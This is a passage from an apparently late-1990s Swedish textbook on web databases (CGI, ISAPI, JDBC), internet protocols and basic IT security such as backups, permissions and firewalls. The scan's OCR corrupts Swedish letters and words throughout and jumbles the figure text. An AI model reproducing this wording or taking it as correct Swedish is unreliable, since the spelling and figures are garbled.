hela WWW-servern att krascha och ddrmed omojliggora inte bara tillgang till
automatiskt genererade dokument fran databasen utan dven statiskt lagrade
HTML- dokument. Ytterligare ett problem att de kodbibliotek som finns till
dagens databaser ej dr skrivna for att anvdndas i multitradade miljoer (nédstan
alla WWW-servers anvinder multitradning) varfér man som programmerare
maste vara extra observant pa bieffekter vid multipla anrop eller skapa egna
rutiner for 1asning av resurser. Multithreading, tradning, star for att flera
processer kan koras samtidigt i en applikation).

98.3 Fast CGI

Pa senare tid har det uppkommit en ny teknik for att oka snabbheten pa cgi-
anrop, genom att lata cgi-programmet kora kontinuerligt . Metoden anvindes
forst pa Macintosh under namnet ACGI (Asynchronous CGI) och har nu spritt
sig till UNIX-virlden under namnet Fast CGI.

Man kan hérigenom undvika de stabilitetsproblem som kan bli f6ljden av
dynamisk lankning av databasfunktioner till WWW-servern. Som exempel pa
WWW-server som stodjer denna metod dr Apache, den 1 dagslédget 1 sdrklass
vanligaste http servern.

9.8.4 Serverspecifika system

LIVEWIRE

Funktionaliteten byggs hér upp med hjilp av JavaScript som till skillnad frén
den JavaScript som normalt sett exekverar i Netscapes klienter hir kors pa
servern, samt att scripten dr kompilerade for att 6ka systemets snabbhet.
LiveWire kan anvinda ett flertal databaser som t.ex. ORACLE , Informix och
databaser med ODBC grinssnitt.

AOL SERVER

Programmet hette tidigare GNN-server och innan dess ??? . Har kopplingar till
databasen Illustra som efter en tynande tillvaro koptes upp av Informix i
borjan av 1996 och utgor ett ldttviktskomplement till Informix Universal-
server. [lllustra 4r en SQL-baserad databas med utvidgningar fOr att gora index
over fritext. t ex HTML-dokument pd en WWW-server. Forutom att soka i
fritext kan man stédlla mer ordindra SQL fragor till databasen med hjilp av ett
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TCL-baserat interface 1 AOL server. AOL server har dessutom fordelen att det
mojliggor direkt editering av WW W-sidor inklusive funktioner som att ta bort,
skapa bibliotek av WWW-sidor direkt pA WW W-servern med hjélp av
WWW-editorn AOL press.

ISAPI LOSNINGAR

Microsofts Webservrar IIS (Internet Information Server) och PWS(Personal
Web Server) kan med hjilp av dynamisk lidnkning av en programmodul
skriven for ISAPI (Internet Server Application Programming Interface) enkelt
anslutas till databaser via ODBC (Open Database Connectivity) protokollet.
Rent praktiskt liknar 16sningen COLD -Fusion. Man definierar en ODBC -
databaskilla och skriver en template fil 1 vilken man talar om vilken databas
som skall anvindas, vilket template fil som skall anvindas fOr att visa utdata
samt

specificerar SQL frdgan. I Microsoft Office97 professional finns stod for att
direkt skapa savil templates som for att designa relationsdatabaser Detta gor
det mycket enkelt och snabbt att skapa databasdrivna www sidor. Nackdelen
ar dock att det blir platformsberoende.

9.8.5 JDBC

JDBC ir ett Java API mot relationsdatabaser som skapats av JavaSoft med
ODBC (Open Database Connectivity) som mall. Med JDBC blir det mdjligt
att sinda SQL uttryck (Structured Query Language) till en databas fran ett
Java program for att soka, uppdatera eller dndra 1 databasen. Om databasen
stodjer lagrade procedurer kan dven sadan koras fran java miljon.
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Java Tillimpning

JDBC DriverManager
JDBC-ODBC Brygga JDBC-Net Ren JDBC
Brygga Driver
ODBC DriverManager T
Nétverksprotokoll
ODBC Driver | | ODBC Driver
for Informix for ORACLE

Lyssnare

ODBC
DriverManager

ODBC Driver
for ORACLE

Informix ORACLE ORACLE ORACLE
DBMS DBMS DBMS DBMS

Oversikt éver JDBC. De gra markerade delarna av systemet ér helt skrivna
i Java. JDBC-Net bryggan finns &dnnu ej att tillgd men kommer att utveckla
av JavaSoft. De flesta databaser fordrar idag nagon form av ODBC
mellanskikt., men helt Javabaserade Drivers finns till bl.a ORACLE, MS-
SQL-Server och mSQL.

Figur 28  Oversikt Over JDBC, vilket kan 6verséttas till Java Database Connectivity.

For att kunna dra nytta av JDBC skall det helst finnas en JDBC-drivrutin till
den databasmotor man vill anvénda. Det dr dock dven mgjligt att anvinda
ODBC drivrutiner tack vare en JDBC-ODBC brygga som utvecklats av
JavaSoft 1 samarbete med Intersolv (http://www.intersolv.com/).

For att anvidnda en relationsdatabas med JDBC fordras

1. att JDBC-paketet maste vara installerat. (Frdn och med JDK 1.1
kommer JDBC att ingd i JDK dvs. Java Development Kit fran Sun
Microsystems, Inc.)

att det Oppnas en forbindelse till databasen,

att det skapas SQL-satser for att instruera databasen vad den skall gora,
att SQL satserna exekveras,

att resultatet behandlas,

att databasforbindelsen stings,

A
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JDBC specifikationen innehaller ett dussintal klasser . Bland dessa utgor
klassen DriverManager huvudkomponenten. Nidr man ansluter till en databas
héller DriverManagern reda pa vilka JDBC-drivers som finns. Detta kan den
gora eftersom nér en driver laddas in ska den registrera sig hos
DriverManagern. Pa detta sitt kan man gora ett enhetligt grianssnitt mot olika
databaser.

Nér man ska ansluta till en viss databas ger man DriverManagern en URL till
databasen samt eventuella anvindaridentiteter och l6senord. DriverManagern
utroner sedan vilka av de existerande JDBC-drivers som skall anvindas {for
den 1 URL’en angivna databasen. Nér denna vil har identifierats lamnar
DriverManagern over kontrollen till JDBS-drivern. Detta innebir att man
minimerar overhead men ocksa att varje JDBC driver maste implementera
klasserna -Statement som anvinds for att stdlla SQL fragor och klassen
ResultSet som anvinds for att hantera resultaten som SQL fragorna ger samt
bada klassernas felhantering.

De URL’er som anvénds for att specificera databasen har syntaxen:
<protokollnamn>:<subprotokollnamn>:<subnamn>

Protokollnamnet ir alltid jdbc. Subprotokollnamnet anger vilken typ av
databas-anslutnings mekanism (Driver) som skall anvindas. Sista delen av
URL syntaxen, subnamnet, beror av vilket subprotokoll som anvéinds men
pekar vanligen ut den dator dédr databasmotorn finns och vad databasen heter.

Ett subprotokoll som kommer att vara vanligt till dess att det hunnit véxa upp
en flora av JDBC drivers till de pd marknaden forekommande
databasmotorerna &r ODBC. Man skulle da kunna fa en URL i stil med:

jdbc:odbc:inventory

URL’en anvénder en JDBC-ODBC brygga som mojliggor att man kan
anvédnda databasmotorer till vilka det finns en ODBC driver men som det dnnu
inte hunnit utvecklas nagon jdbc driver till. Det finns dock rena JDBC drivers
till de flesta storre databaser . Exempel pa sddana produkter dr Weblogics
Kona som innehaller JDBC-drivers till bland annat ORACLE och Microsofts
MS-SQL server.

En URL till en databas med en dkta jdbc driver kan till exempel se ut sa hér:

jdbc:imsql:delphi .kstr.Ith.se/adressregister

Denna URL hénvisar till databasen “adressregister* pa en mSQL-databas som
kor pa datorn delphi kstr.Ith.se via JDBC subprotokollet imsql som i sin tur
fordrar datornamn och databasnamn som parametrar.
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9.8.6 Anslutningen

Nér man ansluter till en databas returnerar DriverManagern ett Connection-
objekt. Nar detta vil dr skapat dr det fritt fram att stilla databasfrdgor med
hjélp av Statement objekt som kan innehélla en sokfraga eller nagon annan
begéran, t.ex. att radera poster till databasmotorn. Connection objekten har
dven en annan viktig funktion, nimligen att hantera transaktioner. Dessa kan
hanteras pa tva sitt av jdbc:

1. Auto-commit: Varje SQL fraga som stélls fran ett statement objekt
behandlas som en transaktion.

2. Normal-commit mode: alla SQL fragor som stills blir del av en
transaktion som man kan géra commit eller rollback pa som en helhet,
dvs en transaktion.

Det dr fullt mojligt for en Applet eller en Java Applikation att ha mer 4n en
samtidig Connection till en eller flera databaser.

Moderna WWW-servers som Netscapes och Jeeves fran JavaSoft har Servlet
APIler som gor det mgjligt att enkelt generera WWW sidor med aktivt
innehall. I kombination med JDBC ir det mycket enkelt att skapa en
relationsdatabasanslutning. Denna anslutning sker alltsa pa serversidan och
innehaller ldmpligen funktioner for t ex. caching (lokal lagring) av
databasfragor samt deras resultat for att 6ka systemets prestanda.

Om man anvénder en Applet for att visa data pa klientsidan dr det dven
lampligt att man hér objektifierar informationen som varje databasfraga ger
upphov till innan den sénds till klienten, antingen via nagot eget protokoll eller
som ett serialiserat objekt. P4 samma sitt delas objekt fran klienten upp i falt
som kan matas in 1 databasen av detta serverprogram.

I WWW ldsare vars javatolk baserar sig pa JDK 1.02, sker kommunikationen
mellan klient Applet och databasinterface med hjilp av TCP/IP och nigot for
dndamalet ldmpligt skapat protokoll. (Vad som &r lampligt kan i detta fall
avgoras av om kommunikationen skall ske genom en brandvigg dd man
kanske viéljer att anvidnda HTTP protokollet som man 1 de flesta fall lugnt kan
slappa igenom). I moderna WWW-klienter med stod for JDK 1.1 kan man 1
stillet anvénda distribuerade objekt dir en del finns pa servern och en annan
pé klienten. Det blir salunda mojligt att skriva Appletfunktioner som direkt
anropar objekt lagrade pa serversidan eller vice versa (RMI, Remote Method
Invocation, se exempelvis
http://java.sun.com/products/jdk/1.1/docs/guide/rmi/).

En annan metod é&r att anvinda HTML-formulér pa klientsidan och lata det
serverbaserade programmet fungera som ett konventionellt cgi-program.
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Fordelen med att anvinda Applets dr att man kontinuerligt kan stélla fragor till
databasen och inte dr hdnvisad till ett enda sindetillfille da all information
sdnds over fran klienten till servern. Om man anviander RMI-teknik &r det
dven mojligt att halla reda pa hur méanga fonster man 6ppnat mot databasen.
Detta gor att anvéndaren inte av misstag har flera fonster 6ppna samtidigt och
pé sa sitt kan riskera att fora in olika uppgifter i samma filt och av misstag
spara ndgon felaktighet. Arbetet med att halla rétt fonster aktiverat skots
lampligen av ett speciellt Javaobjekt designat for detta &ndamal (Singleton
Pattern).

Nackdelen &r att Appleten kan ta lang tid att ladda ned 6ver nitet. Losningen
med Applet passar alltsa bast om man inte tvingas byta WWW sida allt for
ofta.

929 INTERNATIONALISERING OCH ANVANDARANPASSNING

WWW ir ett medium som nér 6ver nationsgrinser, det kan dérfor vara ide att
underlitta for ldsarna genom att hélla sidor pa flera sprak. Med hjdlp av cgi-
script dr det enkelt att automatiskt vélja vilken sida som skall visas.
Naturligtvis skall det forutom cgi-scriptet finnas mojlighet att vélja vilket
sprak man vill ldsa informationen pa, om den finns pa flera sprak.

En del WWW-Kklienter t.ex. Netscape ger anvindaren mojlighet att vilja vilket
sprak han foredrar. WWW-klienten kan da pa samma sétt som vad det giller
bilder och bildformat forhandla med WWW-servern om vilket dokument som
skall sdndas ut till klienten. Servern maste i detta fall konfigureras sa att den
far information om vilka dokument som é&r pa vilka sprék. Detta gors ofta med
hjélp av pre- eller suffix for filer. Men metoderna varierar fran server till
server och man gor bést 1 att l4sa servermjukvarans bruksanvisning om man
vill stodja dessa funktioner.

Det forsta man behover gora ér naturligtvis att avgora vilka sprak man
behover stodja och gora en kalkyl 6ver underhallskostnaderna i form av
oversittning av nyproducerat material. I méanga fall ricker det dock inte med
att Oversitta texter man maste ocksa ta med i berékningen att viss
textinformation kan finnas inbakade i bilder vilket innebér att man maste
skaffa och underhélla bildmaterial p& de sprak man beslutat att stodja.

Om man anvénder bilder med text som knappar i sitt anvidndargrianssnitt méste
man ta hénsyn till detta vid designen av sidorna eftersom texten med storsta
sannolikhet kommer att bli olika lang pa olika sprak. Inte ens om man har
textlosa ikoner som knappar kommer man undan olika versioner {or olika
lander eftersom ménniskors associationsbanor varierar fran land till land.

Ett exempel pé detta &r att man i USA ofta har en parabolantenn som symbol
for nyheter. Detta fungerar eftersom amerikanen &r van vid att CNN sénder
sina nyheter fran hela vérlden pa TV via satellit. I mindre tekniskt utvecklade
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lander kan symbolen bli obegriplig. Det &r alltsd viktigt att man véljer
symboler med sa universell giltighet som mojligt for att bli forstadd och for att
inte av misstag vicka anstot hos sina ldsare. For att sdkerstélla att man inte blir
missforstadd &r det bést att radfraga infodda frn de lander som man riktar sig
mot..

Sa lange man héller sig till vanliga WWW dokument r internationalisering
oftast inget storre problem sa linge man f6ljer de ovan givna raden. Om man
dédremot producerar sidor av mera interaktiv karaktér finns det ytterligare
fallgropar att se upp for.

For att gora det enklare for sig bor man skilja ut de delar av ett program som
kan behova dndras vid internationalisering sa att de kan behandlas for sig. Det
kan rora sig om sorteringsalgoritmer, textens riktning m.m. Allt detta kan da
man skriver vanliga program létt ordnas genom att sétta stélla in landet vars
sprak du talar och lata operativsystemet ta hand om resten. Men nér det géller
WWW tillampningar kan ju servern sta i ett land och klienten befinna sig i ett
annat.

Detta gor att man ofta maste skapa egna losningar for dessa problem. For det
forsta maste man ta reda pa var klienten finns. Det kan man gora genom att
titta pa environment-variablen REMOTE_HOST som anger hostnamnet
(varddatorn) dir den anropande klienten kor.

Om WWW servern fragar DNS vem som har ett visst [P nummer kan man i
denna variabel fa ut nagot i stil med delphi.kstr.lth.se dir tecknen efter sista
punkten anger i vilket land klienten finns. Det finns idag undantag med
adresser som slutar pa .com, .net och .org vilka kan finnas var som helst i
virlden. Namngivning av IP-nummer kommer &dven att fordndras framover.

Forutom att anvénda cgi-script for att avgora fran vilket land ldsaren kommer
kan man dven i ndgon man avgora vem han &r beroende pé vilken
dominadress anropet kommer fran, eller vilken typ av dator han anvénder.

10. Tjinster i Internet

10.1 KOMMUNIKATIONSTJANSTER.

I jamforelse med icke datoriserade kommunikationstjinster finns det manga
fordelar;

- forst och framst vinner man tid,

- det blir enkelt att ateranvinda och modifiera material som man kanske
fatt via elektronisk post annat digitalt medium,

- man kan gora information enkelt sokbar,
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- informationen &r enklare att tyda dn handskrift,
- det krévs mindre fysisk lagringsutrymme
- informationen blir enklare att na oavsett tid och rum.

Som synes finns det tungt vigande skl att Gverga till helt elektronisk
informationshantering. Vad man mgjligen gar miste om &r glddjen att fa
parfymerade brev, men forhoppningsvis kan effektivare arbetsmetoder leda till
att vi far mer fri tid 6ver till att skicka parfymerade brev till varandra och inte
minst att odla personliga kontakter pa ort och stille.

Det finns idag ett mangfald av ndtlosningar som fungerar bra inom den egna
organisationen dédr man har god kontroll 6ver den hard- och mjukvara som
anvinds. Som exempel kan nimnas Novell Netware och AppleTalk.

Dock blir det allt vanligare att man anvdnder samma kommunikationsstandard
internt pa ett intranet som pa Internet. Detta har flera fordelar.

- Man behover inte ldra sig olika program for att t.ex. hiimta en fil
oavsett om den ligger lagrad pa det interna nitverket eller ej.

- De protokoll som har storst spridning pa Internet dr
plattformsoberoende. De ér skapade for att anvédndas 1 stora, globala
ndtverk varfor risken dr liten att organisationen véxer ur systemet.

- Global samverkan blir enklare om en gemensam och vélspridd standard
anvinds

Trenden mot att anvédnda Internetprotokoll for all kommunikation syns inte
minst pa de stora operativsystemtillverkarnas anstrangningar att somnlost
integrera Internettjdnster 1 sina anvindargrianssnitt (Windows 95 och Apples
kommande system 8).

10.2 INTERAKTION MED ANDRA SYSTEM

Liksom ménniskor kommunicerar enligt olika conventioner och sprak
kommunicerar datorsystem med varandra via protokoll. Protokoll finns for att
hantera olika typer av kommunikation exempelvis for att flytta filer (ftp),
kommunikation mot en inloggad terminal (telnet) och kommunikation 1 World
Wide Web (http).

103 PROTOKOLLEN

De sprak som anvinds for kommunikation mellan datorer brukar kallas
protokoll. Det kan antingen vara mer eller mindre for ménniskor lédsliga binéra
teckenkombinationer som sénds dver nétet. Som alltid géller det att tala rétt
sprak och fraga om ritt saker vid ritt tillfdlle och rétt plats. Till exempel 16nar
det sig foga att ringa Froken UR for att fraga om védret. Pa samma sitt dr det i
datorvérlden. Hir anger man vem man vill kommunicera med m.h.a. ett IP-
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nummer eller ett datornamn (som automatiskt oversitts till [P-nummer via en
katalogtjanst DNS, Domain Name Server).

o . Hir finns exempelvis
Applikationsskiktet Webbliddare och epostprogram
Transportskiktet Hanterar dataflodet mellan tva datorer m.h.a.

p TCP, Transport Control Protocol

I
. . Ser till att datapaket pa nitverket kommer
Natverksslklktet riatt m.h.a. IP, Internet Protocol
Lankskiktet Natverkskort med drivrutin i datorn
Fysiska ledningar,...

Figur 29  Principen fér hur kommunikation sker mellan datorer i natverk med hjélp
av TCP/IP protokollen. Ansvaret for att alla datapaket kommer fram och i
ratt ordning ligger i transportskiktet.

Det ridcker dock inte att ange vilken dator man ska till, man maste dven
specificera vilken tjanst man vill komma at. Detta sker genom att man viéljer
ett sd kallat portnummer. Varje portnummer har en viss standardiserad tjanst.
De fungerar med andra ord som anknytningarna 1 en telefonvixel dir IP
numret dr vixelns nummer och portarna dr anknytningsnumren. Om man
loggar in pa

en UNIX maskin kan man litt ta reda pa vilka portnummer som star for vilka
tjanster genom att ldsa filen /etc/services. Portnummer under 1024 &r
reserverade for systemets bruk och far inte anvidndas av vanliga anvindare.

Det program som anropar ett annat program brukar kallas klient och den
anropade for server didrav namnet klient-server tillimpning.

104  RFC-REQUESTS FOR COMMENTS

Detta dr forslag till nya standarder inom Internet omradet. Oftast tar det
mycket lang tid innan dessa standarder fastliggs av IETF, Internet
Engineering Task Force, och RFCerna blir ddrigenom de fakto standarder for
hur saker och ting fungerar.

Den som i detalj vill veta hur ett visst protokoll fungerar kan leta efter den
RFC som beskriver protokollen det dr dock viktigt att titta pa bast fore datum
som alltid finns angivet innan innehéllet kan tas for givet. RFCerna hittar man
enklast genom att helt enkelt soka efter RFC pa Internet med hjélp av ndgon
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sokmaskin som t.ex. Alta Vista. Manga av de WWW-server-sites som héller
RFCer har sedan i sin tur ofta nagon sékmotor som gor att man kan hitta en
viss RFC med hjilp av fritextsokning eller genom att soka efter ett visst RFC
nummer. Ofta &r RFCerna dessutom hyperlinkade till varandra. Se dven lista
over RFCs 1 ftp://ftp.sunet.se/pub/Internet-documents/rfc/rfc-index.txt

10.5 FTP - FILE TRANSFER PROTOCOL.

FTP, File Transfer Protocol, anvinds for att dverfora filer fran en maskin till
en annan oberoende av vilket operativsystem som kors av de bada
kommunicerande maskinerna (Postel & Reynolds, 1985).

Autentieringen av anvindare sker med hjélp av 16senord. Det dar mgjligt att
anvénda ftp for att sprida filer till allménheten genom att sitta upp sa kallad
anonym ftp. De som vill hamta en fil identifierar sig da med
anvindaridentiteten "ftp" eller "anonymous" och som 19senord skriver han sin
e-mailadress. Ofta struntar ftp servern 1 om man anger en adress eller ej men
det kan vara bra att ange den. Den som hamtar filen kan da bli kontaktad av
serveradministratoren t.ex. om det visat sig att den varit behéftad med
datorvirus.

Ibland féar d&ven anonyma anvindare ldgga in filer i vissa mappar/kataloger pa
ftp servern. Ndr man skickar filer med hjilp av ftp maste man tidnka pa om det
ar textfiler eller binéra filer och ge instruktioner dérefter, eftersom information
hos binéra filer annars kan ga forlorad.

Man bor dock tidnka pa att om vem som helst féar lagga filer sa bor detta ske i
sdarskilda mappar vars innehall inte dr ldsbart. Om sa dr fallet kan obehoriga
anvinda servern fOr att t ex distribuera piratkopior av program

Exempel pa ftp session:

Sftp ftp.loopback.nowhere.com

user: per

password(per): ftp

Guest login OK

Welcome to loopback.nowhere.com you are user
12 of 120. All transactions will be logged. If
you find this unacceptable please sign off
now.

> 1s

bin

etc

pub

> cd pub
> 1s
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junk

trash

usefulstuff

cd usefulstuff

> 1s

README

goodFEMprogram.tar.gz
goodFEMprogram.solaris.bin.tar.gz
goodFEMprogram. .win95.zip
gdpgm016.zip

> bin

binary mode set

> get gdpgm.zip

transfer completed. 6740543 Byte

10.6 HTTP

HTTP, Hypertext Transport Protocol, anvindes for att 1 Word Wide Web
hantera filoverforing. Web-bldddrare som Netscape och Explorer &r HTTP
klienter. WWW klienten anvinder HTTP {or att himta och ldmna information
pd en WWW-server. Forbindelsen mellan klienten och servern &r bara aktiv
nir meddelanden skickas och ingen statusinformation lagras genom HTTP
protokollets forsorg.

WWW-dokumenten pa Internet nas genom den sa kallade URL, Uniform
Resource Locator, adressen. Exempel:

http://delphi kstr.lth.se/swebu/index .html innebér att protokollet HTTP skall
anvéndes for att hamta filen 'index.html' i filkatalogen 'swebu' pa datorn
'delphi' som befinner sig vid avdelningen for Barande konstruktioners 'kstr' pa
LTH 'lIth' i Internet domén Sverige 'se'.

10.7 TJANSTER FOR ELEKTRONISK POST

10.7.1 SMTP

Simple Mail Transfer Protocol dr Internetstandarden for att séinda elektronisk
post.(Klensin et.al., 1995).

Det vanligaste programmet for att hantera SMTP heter sendmail.
Ursprungligen kunde man bara sidnda text innehallande den amerikanska
teckenstandarden ANSI X3.4-1986. Ett flertal forsok att finna metoder att
sdnda tecken som ad6 har gjorts. De flesta dock misslyckade pa grund av att
de gatt ut pa att byta ut nagot tecken i det amerikanska teckenstandarden mot
nagon nationell bokstav som t ex ett svenskt a. [ och med inférandet av MIME
(Borenstein & Freed, 1996b-f) har man nu lyckats komma runt problemet.
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MIME standarden , Multipurpose Internet Mail Extension, anvénds inte bara
for att fa ritt bokstidver utan dven for att ge mojlighet att sinda med bilder,
ljud, video eller ndgon annan form av data med elektronisk post.

10.7.2  POP3

POP star for Post Office Protocol (Myers & Rose, 1996). P4 mindre datorer i
Internet &r det ofta opraktisk att anvdinda SMTP baserade program for
posthantering, eftersom det skulle fordra allt for mycket diskutrymme eller
CPU kraft da de maste koras kontinuerligt. Detta senare forhallande gor dven
att SMTP baserade 10sningar blir oldampliga fOr system som inte dr stindigt
anslutna till nétet, som t.ex. barbara datorer som ansluter till nitet via modem.
For att 10sa dessa problem skapades POP numera POP3 som gor det mojligt
for en dator att nédr den sa Onskar ansluta till en POP3 server och himta den
post som samlats dér. Servern i sig far oftast sin post via SMTP. Vanliga
program for att hantera POP3 dr Popper pa serversidan och Netscape
Navigator eller Eudora pa klientsidan.

10.7.3 IMAP4

IMAP stér for Interactive Message/Mail Access Protocol, (Chrispin, 1996g).
IMAP Version 4, IMAP4, tillater klienter att manipulera elektronisk post
lagrad pa servern pa liknande sitt som i sa kallade mailboxar pa klient sidan.
Protokollet gor det d@ven mojligt for en klient som ej varit ansluten till nétet for
langre eller kortare tid att synkronisera sitt innehdll med servern.

IMAP4 innehéller funktioner for att skapa, ta bort och dopa om mailboxar.
Det dr dven mojligt att kolla om ny post anlént, ta bort meddelanden fran
servern for gott, soka i mail pa servern och selektivt hamta vissa meddelanden
eller delar av dem. Meddelandena pa servern nas via meddelandets nummer.
IMAP4 anger inget sitt att posta elektronisk post. Postning sker lampligen
med SMTP.

10.8 PPP

PPP star for Point to Point Protocol. Detta anvénds for att ansluta en dator till
internet via en uppringd forbindelse, via t ex ett modem. Tjdnsten mojliggor
savil dynamisk som fast IP nummer tilldelning till den uppringande
klientdatorn. Med hjilp av PPP kan man na alla tjanster som ir tillgéngliga i
ett normalt Ethernet baserat TCP/IP nétverk.
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11. SAKERHET

11.1 DRIFTSSAKERHET, TILLGANGLIGHET

Det finns inga ofelbara system, men man kan redan vid designen av systemet
undvika de djupaste fallgroparna. Det kan rora sig om organiserade back-ups
(sdkerhetskopior), girna bade automatiserade och centrala.

11.1.1 Sékerhetskopior

Man kan inte rdkna med att alla alltid kommer i hdg att ta back-up pa sina
filer. Dessutom &r det sloseri med tid, eftersom anvéndaren sjédlv dd maste
hélla ordning pa media. Dock bor anvéndaren se till att under arbetstiden gora
egna kopior pa exempelvis textdokument man just arbetar med.

For att kunna anvénda back-up system maste man vara sidker pa hur det
fungerar och ATT det fungerar. Man bor med andra ord prova pa testsystem
for att verifiera att det verkligen fungerar och att man hanterar programmet pa
ett korrekt sitt. Detta fodrar utbildning av den personal som skall hantera
systemet. Det bli kostsamt att utbilda hela personalen dd man dessutom maéste
man utbilda tillfilliga vikarier.

Av dessa skil dr det lampligt att utse ndgon eller nagra ansvariga for back-up
funktionen. Sikerhetskopiorna méste forvaras pa lampligt sitt sd att de inte
forstors vid brand eller slinker med vid ett inbrott. Till exempel en inom
rackhall, en i brandsikert skap och en tredje i annan byggnad.

Nir man ldgger upp sin back-up strategi dr det viktigt att man tianker pa hur
langa driftstopp som verksamheten tal . Det kan namligen ta olika lang tid att
restaurera systemet beroende pa hur sikerhetskopiorna gjorts. Ofta gér det
fortare att aterstilla systemet fran en total back-up 4n fran inkrementella back-
ups. Detta skall vigas mot att det tar ldngre tid att skapa en totalback-up &n
inkrementella dito.

11.1.2 Redundans

Tillgdngligheten dr ocksé beroende av tillforlitlig hardvara. De flesta
elektronikkomponenter som t.ex. datorernas CPU- och RAM-minnen aldras
inte och har sédledes lika stor sannolikhet att vid varje given tidpunkt ga i
sonder.

Forebyggande underhall dr alltsa inte tillimpbart som i fallet med mekaniska
komponenter, som t.ex. harddiskar, ddr man kan forvinta sig en viss driftstid.
Man kan istéllet anvénda sig av redundanta system. Det kan rora sig om passiv
eller aktiv redundans. Vid passiv redundans fodras det manuella ingrepp for
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att koppla in en ny komponent istéllet for den felande. Vid aktiv redundans
sker detta automatiskt. I de flesta fall rdcker det med att man har en extra dator
att koppla in vid driftsbortfall. Systemet bor designas sé att denna operation ir
enkel att utfora. Till exempel genom utbytbara eller externa harddiskar istéllet
for interna sa att verktygslddan inte behova konsulteras.

Redundans kan ocksa anvindas péd system som har forebyggande underhéll for
harddiskar etc. Man kan till exempel byta enskilda harddiskar i flykten i RAID
5 (Redundant Array of Inexpensive Disks) system. Bist dr det om systemen
kan konfigureras att varsko administratdren om eventuella fel innan
anvindaren har hunnit bli lidande. Det kan rora sig om att automatiskt till
administratoren skicka ett e-mail som sdger att en hirddisk slutat fungera och
systemet automatiskt har bytt till en reservdisk.

1113 Behorigheter och ansvarsfordelning

I det flesta system &r det mojligt att ge anvéndare behorigheter att utfora vissa
uppgifter, t.ex. att ldsa och/eller skriva i vissa filer eller att anvéinda ett visst
program. Det dr inte lampligt att alla anvédndare far gora allting. Om sé dr
fallet kommer man snart till ett ldge dér det inte finns ndgon som har 6verblick
over systemets uppbyggnad och struktur. I forlingningen innebér detta att det
blir svart att avgora nir det dr dags for systemuppgraderingar som t.ex. inkOp
av ny disk eller nédtkoppling med storre bandbredd.

Det dr saledes viktigt att man utser nagon som har totalansvar for systemet.
Under denna person dr det lampligt att fordela ansvarsomraden som t.ex.
skrivaradministratorer, databasadministrator, nidtansvarig m.fl.

Genom att skapa klart avgrinsade ansvarsomraden under en gemensam
ledning minskar man risken for dubbelarbete och missforstand. Om nigon av
dessa nyckelpersoner inte finns tillgdngliga under lidngre eller kortare tid blir
kunskapsdoménen som en ersittare behover sittas in 1 mera avgrdnsad och han
kan dédrigenom snabbare komma in sin roll.

Man bor om mojligt dven bygga systemet sd att inte ens nyckelpersonerna kan
utfora den totalansvariges uppgifter. De bor inte heller ha behorigheter att
kunna ta Over varandras uppgifter utan den totalansvariges direkta medgivande
genom en fordandring av behorighet 1 systemet. Om man inte foljer dessa
strikta regler kommer forr eller senare nagon att 6verskrida sina befogenheter,
ma vara i bista vialmening, eller att det tillfdlligtvis var den bésta 16sningen pa
nagot problem. Resultatet pad ldngre sikt blir dock oundvikligen kaos.

11.14 Vikten av kompetens

Om man i ldngden skall kunna vidmakthélla ett fungerande dynamiskt system
fordras det att man har egen kompetens, bestdllarkompetens, som dtminstone
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dr sa stor att man vet vilka omraden man saknar och vet tillrdckligt mycket for
att kunna kopa in rétt kompetens.

Att bygga ett system dédr malen inte fran borjan dr klart definierade av
bestéllaren kan fa forodande effekter savil pa systemets slutliga funktionalitet
som pa leveranstiden. Ofta tenderar leverantorer av tjdnster sélja det de &r bra
pé, och inte nodvindigtvis det som passar situationen bést. Vi vill hér inte
pastd att direkta odrligheter dr frekventa, men det fordras att konsulten har
tillréckligt stor overblick over pa marknaden befintliga system for att han ska
kunna ge forslag pa en bra 1osning. Vad som é&r en bra eller délig 16sning
maste kopare sjélv vara kapabel att avgora.

Allra bést &dr det naturligtvis om man sjélv tillfullo behérskar sitt system. Detta
kan naturligtvis stdlla sig svart eftersom det fordrar stindig fortbildning om
man vill bevara dynamiken i systemet och utnyttja nya tekniska landvinningar.

11.2 INBROTTSSAKERHET

11.2.1 Skydd av data

Vad ér det man behover skydda? Man kan skydda:

1 Hemliga data, affairshemligheter.
2 Datas integritet, dvs forhindra obehoriga att gora dndringar.
3 Sékerstilla den egna tillgangen till data.

Ofta fokuserar man sina sédkerhetsstrivanden pa att forhindra att obehoriga
kommer at hemlig information t.ex. via industrikontakter i samband med
framtagning av nya produkter.

Aven om man antar att det gir att skilja pA hemliga data och publika data finns
det all anledning att hantera problemen med dataintegritet och tillgéinglighet
seriOst. Antag att data forstors genom ett intrdng. Dessa kommer att behdva
dterskapas och bara hirigenom &samka dig en kostnad. Agnar du dig dessutom
at ndgon informationstjinst blir forlusten sa mycket storre. Andra mera
svargreppbara kostnader &r forlust av fortroende hos kunder, i detta fallet
forskaren eller studenten, investerare 0.s.v.

Aven om den som bryter sig in i systemet inte gor ndgon skada, utan kanske
bara lamnar meddelandet "Kilroy was here" maste man verifiera att
inkréktaren inte gjort ndgot annat, detta kan ta atskilliga arbetsdagar i ansprak.
Faktum &r att en sadan attack ofta &r betydligt dyrare dn de ganger data
totalforstorts, forutsatt att forsvunnen information kan hiamtas fran
sakerhetskopia.
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Det dr emellertid inte bara en fraga om att skydda data och information utan
dven ett foretags eller privatpersons ansikte utat och goda rykte. Oftast har
man under lang tid investerat i att bygga upp en profil och gjort sig kédnda
genom varumérke och produktnamn. Dessa virden kan vara dyra att ersétta.

Man skall inte driva uppbyggnad av de datorbaserade skyddsmekanismerna in
absurdum. Aven om det kan vara svArt att erkiinna kan mycket vl risken att
en anstdlld ldmnar foretaget med data pa en diskett och olovligen sprider dessa
vara storre @n vad en rimlig datasidkerhetsniva kan erbjuda.

11.2.2 Firewall, brandvigg

En brandvégg dr en process som filtrerar all trafik mellan ett skyddat sékert
nit innanfor muren och ett mera farofyllt nét utanfor, t.ex. Internet.
Brandviggar kan delas in 1 tre kategorier (Pfleger, 1996);

1. screening routers,
2. proxy gateways ibland kallade bastion hosts
3. guards

De olika brandviggstyperna kan anvindas var {or sig eller 1 kombination.
Typiskt for samtliga 10sningar &r att de utgor ett skalforsvar som hindrar
angripare utifrdn. En brandvidgg skyddar bara data som finns innanfor
brandmuren och utgor saledes inget skydd for data som transporteras over ett
osdkert nt.

For att stirka skyddet kan man anviédnda kryptering. Det dr d& lampligt att
krypteringen sker pd maskiner innanfor den yttre brandviaggen. Pa detta sitt
minskar risken att en inkréktare kommer at krypteringsnycklar m.m. och
systemet blir sdkrare. Med hjélp av kryptering och digitala signaturer som
